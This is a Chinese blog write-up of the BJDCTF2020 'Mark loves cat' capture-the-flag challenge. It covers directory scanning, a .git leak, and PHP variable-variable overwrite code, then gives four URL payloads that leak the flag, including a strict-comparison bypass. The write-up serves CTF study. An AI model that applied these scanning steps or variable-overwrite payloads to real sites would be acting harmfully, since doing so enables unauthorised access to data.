[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过)
题目地址:https://buuoj.cn/challenges#[BJDCTF2020]Mark%20loves%20cat
首先打开网站看到的是一个个人博客,这种常规的 类似实战题目 先扫描目录看看
路径扫描
没错这真的是我的字典,就7个路径,哈哈哈,还在收集啊
git泄露
看到了一个 .git 泄露
用了俩工具测试,无任何有用信息,工具名称在图片里:GitHack
、Git_Extract
这俩工具 一个获取文件,一个获取 .git 文件, 哈哈哈,今天才发现,我是真的菜
flag.php 是存在的 ,不过只能确定 /flag 在哪里
429 Too Many Requests
烦死了,没法用现成的工具扫路径
python .\dirsearch.py -e * -u http://f3398cf1-ffb4-443e-a439-a264a65e4d5d.node4.buuoj.cn:81/ -t 1 --timeout=2 -x 400,403,404,500,503,429
果然看大佬的文章才能学到知识啊, 我自己设置了 -t 1
但是没啥用,还是报429
,看看人家大佬设置 --timeout=2
就可以了,真强
人傻了,那个index.php 后面是有代码的
然后分析分析代码:
<?php
include 'flag.php';
print_r($flag);
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){ // $键 = $值的值
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;// $handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag
}
// 需要不满足以下几个条件
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键值又是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时 GET 和 POST 都没设置 flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'
exit($is);
}
echo "the flag is: ".$flag;
这个东西真的是需要自己去慢慢看的,慢慢看才能学到东西,主要涉及的就是可变变量
经过大佬的点拨,我悟了
这个题我是没找到 绕过判断不提前结束 ,而又不改变flag值的情况下到达最后的echo。但是别忘了 “exit” 也是一种输出啊!这里虽然输出的不是$flag变量,但是我们有变量覆盖漏洞啊!
https://blog.csdn.net/qq_43622442/article/details/105925473
那么情况就很明确了,污染 exit 语句的参数 , 不过后来证明,大佬说的是不对的,哈哈哈。
解法1:exit($handsome);
首先进入条件:
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键名又是flag, 就是 flag=a && a!=flag啊,这样就能进了 ?flag=(不是flag)&(不是flag)=xxx
进入条件十分简单:?flag=a&a=flag
即可
函数判断到 a=flag
的时候, $_GET['flag'] === $x && $x !== 'flag'
--> a === a && a !== 'flag'
这就进来了 true && true
就进来了, 然后 exit($handsome);
因为要 exit($handsome);
那么我们要做的就是 让 $handsome = $flag
get 条件的处理如下:
foreach($_GET as $x => $y){
$$x = $$y;// $handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag
}
$$x = $$y
而我们要的结果是$handsome = $flag
那么特简单 让 $x=handsome 和 $y=flag
即可
payload1:http://127.0.0.1/CTF/?handsome=flag&flag=b&b=flag
payload2:http://127.0.0.1/CTF/?handsome=flag&flag=handsome(看师傅们的评论看到的)
解法2:exit($yds);
想要进入这个 exit
语句的话,先来看看条件
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时 GET 和 POST都没设置 flag
哦,GET,POST 都不设置flag就进去了啊
payload:http://127.0.0.1/CTF/?yds=flag
好简单,这题目
解法3:exit($is);
这个也比较简单:
进入条件: if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'
让 flag=flag
payload: http://f3398cf1-ffb4-443e-a439-a264a65e4d5d.node4.buuoj.cn:81?is=flag&flag=flag
解法4:echo "the flag is: ".$flag;
强类型比较绕过
我在尝试的时候发现有个问题:
- 正常情况
http://127.0.0.1/CTF/?a=flag&flag=a
这里触发了if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 $_GET['flag'] 的值等于某个键名,那个键名又不是flag
这个条件,进入了exit($handsome);
里面了,这很好理解的。函数遍历a=flag
的时候,$_GET['flag'] === $x && $x !== 'flag'
-->a === a && a !== 'flag'
这就进来了true && true
就进来了, 然后exit($handsome);
- 不正常的情况
http://127.0.0.1/CTF/?1=flag&flag=1
这是啥情况呢,按道理来说跟上面一样啊,这里触发了if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 $_GET['flag'] 的值等于某个键名,那个键名又不是flag
这个条件,进入了exit($handsome);
里面了,这很好理解的。函数遍历1=flag
的时候,$_GET['flag'] === $x && $x !== 'flag'
-->1 === 1 && 1 !== 'flag'
这就进来了true && true
就进来了, 然后exit($handsome);
但是事实不是这样的,我估计是涉及到 字符串和数字的问题,都打印出来看看。
打印代码:
foreach($_GET as $x => $y){
echo "</br>foreach :".'</br>';
echo '$_GET[\'flag\'] :';
var_dump($_GET['flag']).'</br>';
echo '$x :';
var_dump($x).'</br>';
echo '$_GET[\'flag\'] === $x :';
var_dump($_GET['flag'] === $x).'</br>';
echo '$x !== \'flag\' :';
var_dump($x !== 'flag').'</br>';
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 1 === 1 && 1 !== 'flag' flag的值等于某个键名,键名又不是flag
exit($handsome);
}
}
果然啊,get
传参数的时候,如果传入1
,默认:做为键:类型是 int
; 做为值,类型是 string
问题就这这里了:$_GET['flag'] === $x
: 如果传入 a=flag&flag=a
那么 判断 a=flag
的时候 $_GET['flag']
是 a
, &x
是 a
,完全相等 进入if条件, 而如果传入 1=flag&flag=1
那么判断 1=flag
的时候 $_GET['flag']
是 (string)1
,&x
是 (int)1
不完全相等,无法进入if条件,进而绕过
这样就绕过好了,满足了大佬说的几句话,不会改变 flag 而且不会提前结束,具体其他几个循环自己打印看看就行。
这个题我是没找到 绕过判断不提前结束 ,而又不改变flag值的情况下到达最后的echo。
还有一个可能的解法(没试,不知道),传入 $$$xx=$$xx
,或者 更多的 $$$$$$$x=$xx
, 来绕过 变量覆盖,这里记一下,变量覆盖可以多次递归(没实验过)
本文来自博客园,作者:Nestar,转载请注明原文链接:https://www.cnblogs.com/Nestar/p/15922456.html